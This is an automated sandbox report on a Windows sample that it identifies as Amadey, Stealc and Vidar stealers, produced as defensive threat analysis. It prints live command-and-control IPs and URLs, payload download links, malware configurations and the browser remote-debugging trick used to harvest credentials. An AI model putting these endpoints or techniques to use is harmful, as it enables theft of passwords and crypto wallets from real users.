Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1557120
MD5:	da6b9cd7867d565cb1da841407849c4f
SHA1:	ba7b0a79e236af80a6f684837921e5722a553b9d
SHA256:	2b04ca7ff886c171d614908d66a1d2bc3503247be5f5b11b984cc4483b720c34
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6664 cmdline: "C:\Users\user\Desktop\file.exe" MD5: DA6B9CD7867D565CB1DA841407849C4F)

chrome.exe (PID: 7124 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5508 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1892 --field-trial-handle=1992,i,12706456315753222113,8873599955583022183,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7352 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7780 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2460 --field-trial-handle=2400,i,6581294716283398080,17748200714867695164,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 7892 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCGDGCFBAEG.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsCGDGCFBAEG.exe (PID: 6580 cmdline: "C:\Users\user\DocumentsCGDGCFBAEG.exe" MD5: 266A3815610D8CF2152B7935F676A542)

skotes.exe (PID: 8348 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 266A3815610D8CF2152B7935F676A542)

msedge.exe (PID: 8004 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7660 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2684 --field-trial-handle=2696,i,7346528989139132674,339201961731853870,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8940 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6948 --field-trial-handle=2696,i,7346528989139132674,339201961731853870,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8992 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7260 --field-trial-handle=2696,i,7346528989139132674,339201961731853870,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8796 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7076 --field-trial-handle=2696,i,7346528989139132674,339201961731853870,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8356 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 266A3815610D8CF2152B7935F676A542)

skotes.exe (PID: 8028 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 266A3815610D8CF2152B7935F676A542)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000017.00000003.2673688433.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2569376590.00000000006E1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2571128740.000000000132E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2086228591.00000000050A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000002.2663151465.0000000000751000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000002.3318396371.00000000001A1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000003.2575038334.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000003.3267610783.00000000049A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000002.2718840305.00000000001A1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.2714143014.00000000001A1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000003.2678496819.0000000004F50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 6664	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6664	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6664	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6664	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author
22.2.DocumentsCGDGCFBAEG.exe.750000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.skotes.exe.1a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
26.2.skotes.exe.1a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.skotes.exe.1a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6664, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7124, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T12:35:07.317755+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49705	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T12:35:07.273603+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49705	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T12:35:07.594667+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49705	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T12:35:08.699601+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49705	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T12:35:07.602572+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49705	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T12:35:06.990709+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49705	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T12:37:06.758773+0100	2856147	1	A Network Trojan was detected	192.168.2.5	50127	185.215.113.43	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T12:35:09.286427+0100	2803304	3	Unknown Traffic	192.168.2.5	49705	185.215.113.206	80	TCP
2024-11-17T12:35:32.696470+0100	2803304	3	Unknown Traffic	192.168.2.5	49778	185.215.113.206	80	TCP
2024-11-17T12:35:36.110028+0100	2803304	3	Unknown Traffic	192.168.2.5	49778	185.215.113.206	80	TCP
2024-11-17T12:35:38.076939+0100	2803304	3	Unknown Traffic	192.168.2.5	49778	185.215.113.206	80	TCP
2024-11-17T12:35:39.229947+0100	2803304	3	Unknown Traffic	192.168.2.5	49778	185.215.113.206	80	TCP
2024-11-17T12:35:41.438733+0100	2803304	3	Unknown Traffic	192.168.2.5	49778	185.215.113.206	80	TCP
2024-11-17T12:35:42.004363+0100	2803304	3	Unknown Traffic	192.168.2.5	49778	185.215.113.206	80	TCP
2024-11-17T12:35:46.206192+0100	2803304	3	Unknown Traffic	192.168.2.5	49948	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/mozglue.dll$	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dll2	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/mine/random.exed	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.phpR	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/mine/random.exeP	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.phpv	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllj	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000017.00000003.2673688433.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.6664.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.16/mine/random.exed

Virustotal: Detection: 18%

Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 36%
Source: file.exe	Virustotal: Detection: 40%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C666C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C666C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49719 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50038 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2598969012.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2598969012.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 38MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49705
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49705
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:50127 -> 185.215.113.43:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 11:35:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 17 Nov 2024 11:35:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 